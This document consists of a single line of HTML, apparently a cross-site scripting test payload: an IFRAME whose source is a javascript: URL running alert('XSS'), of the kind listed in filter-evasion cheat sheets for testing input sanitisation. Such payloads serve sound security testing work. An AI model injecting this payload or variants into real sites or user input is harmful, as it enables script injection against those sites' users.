<IFRAME SRC="javascript:alert('XSS');"></IFRAME>